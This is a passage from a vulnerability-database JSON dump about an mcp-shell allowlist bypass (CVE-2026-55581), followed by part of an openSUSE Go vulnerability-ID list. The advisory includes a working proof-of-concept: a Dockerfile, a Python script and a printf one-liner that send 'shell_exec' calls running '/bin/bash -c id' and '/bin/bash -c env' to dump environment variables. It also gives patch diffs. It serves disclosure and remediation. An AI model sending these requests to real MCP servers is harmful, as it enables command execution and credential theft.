it is missing blockbecomestext done\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 3,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"id\", \"base64\": False}\n }\n }),\n # 5. add evidence: env environment variable text (envtext allowlisttext none)\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 4,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n }\n }),\n]\n\n\ndef extract_text(resp):\n \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n try:\n content = resp.get(\"result\", {}).get(\"content\", [])\n for item in content:\n if item.get(\"type\") == \"text\":\n return item[\"text\"]\n except Exception:\n pass\n return None\n\n\ndef run_poc():\n stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n print(f\"[*] text: {IMAGE}\")\n print(\"[*] text: /bin/bash -c id\")\n print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n print()\n\n try:\n proc = subprocess.run(\n [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n input=stdin_data.encode(),\n capture_output=True,\n timeout=30,\n )\n except subprocess.TimeoutExpired:\n print(\"[-] error: container response timeout (30seconds)\")\n return False, \"timeout\"\n except FileNotFoundError:\n print(\"[-] error: docker commandtext text can none\")\n return False, \"docker not found\"\n except Exception as e:\n print(f\"[-] error: {e}\")\n return False, str(e)\n\n stdout = proc.stdout.decode(errors=\"replace\")\n stderr = proc.stderr.decode(errors=\"replace\")\n\n print(\"=== STDOUT (JSON-RPC response) ===\")\n print(stdout)\n if stderr:\n print(\"=== STDERR (server log, partial) ===\")\n print(stderr[:1500])\n print()\n\n # response parse\n responses = {}\n for line in stdout.splitlines():\n line = line.strip()\n if not line:\n continue\n try:\n resp = json.loads(line)\n msg_id = resp.get(\"id\")\n if msg_id is not None:\n responses[msg_id] = resp\n except json.JSONDecodeError:\n pass\n\n exploit_passed = False\n exploit_evidence = \"\"\n\n # [id=2] /bin/bash -c id result check (key point evidence)\n if 2 in responses:\n text = extract_text(responses[2])\n if text:\n print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n try:\n result = json.loads(text)\n stdout_val = result.get(\"stdout\", \"\")\n status = result.get(\"status\", \"\")\n exit_code = result.get(\"exit_code\", -1)\n print(f\" → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n if \"uid=\" in stdout_val and status == \"success\":\n exploit_passed = True\n exploit_evidence = (\n f\"command=/bin/bash -c id | status={status} | \"\n f\"exit_code={exit_code} | stdout={stdout_val}\"\n )\n print(f\"\\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!\")\n print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n except json.JSONDecodeError:\n if \"uid=\" in text:\n exploit_passed = True\n exploit_evidence = text\n print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n else:\n print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n # [id=3] id directly execute → block check (text)\n if 3 in responses:\n text = extract_text(responses[3]) or \"\"\n resp_str = str(responses[3])\n blocked = (\n \"not in allowed list\" in text\n or \"not in allowed list\" in resp_str\n or \"Security violation\" in text\n or \"isError\" in resp_str and \"true\" in resp_str.lower()\n )\n if blocked:\n print(f\"\\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)\")\n print(f\" → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n else:\n print(f\"[*] 'id' directly result: {text[:200]}\")\n\n # [id=4] /bin/bash -c env add evidence\n if 4 in responses:\n text = extract_text(responses[4]) or \"\"\n try:\n result = json.loads(text)\n stdout_val = result.get(\"stdout\", \"\")\n if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n env_lines = stdout_val.splitlines()[:5]\n print(f\"\\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)\")\n print(f\" first 5lines: {chr(10).join(' ' + l for l in env_lines)}\")\n except Exception:\n pass\n\n return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n passed, evidence = run_poc()\n print()\n if passed:\n print(\"[+] vulnerability reproduction result: PASS\")\n sys.exit(0)\n else:\n print(\"[-] vulnerability reproduction result: FAIL\")\n sys.exit(1)\n```","status":"published","published":"2026-08-25T15:41:30Z","modified":"2026-08-25T15:42:52Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78","CWE-183","CWE-1188"],"updated_at":"2026-11-02T14:41:05.994358Z"}],"nvd":[{"id":"CVE-2026-55581","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c \u003carbitrary-command\u003e`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-25T16:16:55.47Z","modified":"2026-09-09T21:07:31.353Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78","CWE-183","CWE-1188"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-55581","title":"mcp-shell: Secure Mode Allowlist Bypass via Default `/bin/bash` Executable","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c \u003carbitrary-command\u003e`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-25T15:40:10.992Z","modified":"2026-10-28T02:30:31.015804497Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1188","CWE-183","CWE-78"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-3x77-wg38-92r3","title":"mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable","description":"### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist — including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n - \"ls\"\n - ...\n - \"/bin/bash\" # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n if v.matchesExecutable(executable, allowed) {\n if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n return err\n }\n return nil\n }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `\u0026`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `'`) and a configurable list of `blocked_commands`/`blocked_patterns` — both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly — no shell is spawned by the executor itself — but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` — bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` — activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` — attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` — validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` — sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp-shell-repo \\\n -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 — Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` — **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` — **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'\n\n[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!\n\n[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)\n → allowlist bypass /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf '%s\\n' \\\n '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}' \\\n '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}' \\\n '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}' \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n \"command\": \"/bin/bash -c id\",\n \"execution_time\": \"3.854555ms\",\n \"exit_code\": 0,\n \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n \"status\": \"success\",\n \"stderr\": \"\",\n \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n- - \"/bin/bash\" # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+ return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n // Check if the executable is in the allowlist\n for _, allowed := range v.config.AllowedExecutables {\n ...\n }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+ base := filepath.Base(executable)\n+ switch base {\n+ case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+ for _, arg := range args {\n+ if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+ return true\n+ }\n+ }\n+ }\n+ return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. — all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container's network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container's writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n -ldflags \"-X main.version=${VERSION} -s -w\" \\\n -a -installsuffix cgo \\\n -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n bash \\\n curl \\\n wget \\\n git \\\n make \\\n findutils \\\n grep \\\n sed \\\n gawk \\\n tar \\\n gzip \\\n unzip \\\n ca-certificates \\\n \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n python3 poc.py [IMAGE_NAME]\n default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n return json.dumps(obj, separators=(',', ':'))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n # 1. initialize handshake\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n }\n }),\n # 2. initialized text (response none)\n make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n # 3. vulnerability text: /bin/bash -c id\n # id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n }\n }),\n # 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 3,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"id\", \"base64\": False}\n }\n }),\n # 5. add evidence: env environment variable text (envtext allowlisttext none)\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 4,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n }\n }),\n]\n\n\ndef extract_text(resp):\n \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n try:\n content = resp.get(\"result\", {}).get(\"content\", [])\n for item in content:\n if item.get(\"type\") == \"text\":\n return item[\"text\"]\n except Exception:\n pass\n return None\n\n\ndef run_poc():\n stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n print(f\"[*] text: {IMAGE}\")\n print(\"[*] text: /bin/bash -c id\")\n print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n print()\n\n try:\n proc = subprocess.run(\n [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n input=stdin_data.encode(),\n capture_output=True,\n timeout=30,\n )\n except subprocess.TimeoutExpired:\n print(\"[-] error: container response timeout (30seconds)\")\n return False, \"timeout\"\n except FileNotFoundError:\n print(\"[-] error: docker commandtext text can none\")\n return False, \"docker not found\"\n except Exception as e:\n print(f\"[-] error: {e}\")\n return False, str(e)\n\n stdout = proc.stdout.decode(errors=\"replace\")\n stderr = proc.stderr.decode(errors=\"replace\")\n\n print(\"=== STDOUT (JSON-RPC response) ===\")\n print(stdout)\n if stderr:\n print(\"=== STDERR (server log, partial) ===\")\n print(stderr[:1500])\n print()\n\n # response parse\n responses = {}\n for line in stdout.splitlines():\n line = line.strip()\n if not line:\n continue\n try:\n resp = json.loads(line)\n msg_id = resp.get(\"id\")\n if msg_id is not None:\n responses[msg_id] = resp\n except json.JSONDecodeError:\n pass\n\n exploit_passed = False\n exploit_evidence = \"\"\n\n # [id=2] /bin/bash -c id result check (key point evidence)\n if 2 in responses:\n text = extract_text(responses[2])\n if text:\n print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n try:\n result = json.loads(text)\n stdout_val = result.get(\"stdout\", \"\")\n status = result.get(\"status\", \"\")\n exit_code = result.get(\"exit_code\", -1)\n print(f\" → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n if \"uid=\" in stdout_val and status == \"success\":\n exploit_passed = True\n exploit_evidence = (\n f\"command=/bin/bash -c id | status={status} | \"\n f\"exit_code={exit_code} | stdout={stdout_val}\"\n )\n print(f\"\\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!\")\n print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n except json.JSONDecodeError:\n if \"uid=\" in text:\n exploit_passed = True\n exploit_evidence = text\n print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n else:\n print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n # [id=3] id directly execute → block check (text)\n if 3 in responses:\n text = extract_text(responses[3]) or \"\"\n resp_str = str(responses[3])\n blocked = (\n \"not in allowed list\" in text\n or \"not in allowed list\" in resp_str\n or \"Security violation\" in text\n or \"isError\" in resp_str and \"true\" in resp_str.lower()\n )\n if blocked:\n print(f\"\\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)\")\n print(f\" → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n else:\n print(f\"[*] 'id' directly result: {text[:200]}\")\n\n # [id=4] /bin/bash -c env add evidence\n if 4 in responses:\n text = extract_text(responses[4]) or \"\"\n try:\n result = json.loads(text)\n stdout_val = result.get(\"stdout\", \"\")\n if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n env_lines = stdout_val.splitlines()[:5]\n print(f\"\\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)\")\n print(f\" first 5lines: {chr(10).join(' ' + l for l in env_lines)}\")\n except Exception:\n pass\n\n return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n passed, evidence = run_poc()\n print()\n if passed:\n print(\"[+] vulnerability reproduction result: PASS\")\n sys.exit(0)\n else:\n print(\"[-] vulnerability reproduction result: FAIL\")\n sys.exit(1)\n```","status":"published","published":"2026-08-25T15:41:30Z","modified":"2026-09-09T05:15:05.808816109Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1188","CWE-183","CWE-78"],"updated_at":"2026-11-02T15:46:36.092962Z"},{"id":"GO-2026-6290","title":"mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable in github.com/sonirico/mcp-shell","description":"mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable in github.com/sonirico/mcp-shell","status":"published","published":"2026-08-26T14:57:42Z","modified":"2026-08-26T15:15:13.38104666Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5026 CVE-2026-39821\n * GO-2026-6225\n * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n * GO-2026-6267 GHSA-h58c-xccx-75m3\n * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n * GO-2026-6278 GHSA-w67g-5rqw-f597\n * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n * GO-2026-6289 GHSA-w8j7-39hp-8x59\n * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n * GO-2026-4950\n * GO-2026-6093 GHSA-464c-974j-9xm6\n * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n * GO-2026-6095 GHSA-r277-6w6q-xmqw\n * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n * GO-2026-6105 GHSA-c534-2w9c-x7fm\n * GO-2026-6106 GHSA-v6w6-358x-2433\n * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n * GO-2026-6109 GHSA-86cx-wwf4-phq4\n * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n * GO-2026-6113 GHSA-p6ph-3jx2-3337\n * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n * GO-2026-6115 CVE-2026-56867\n * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n * 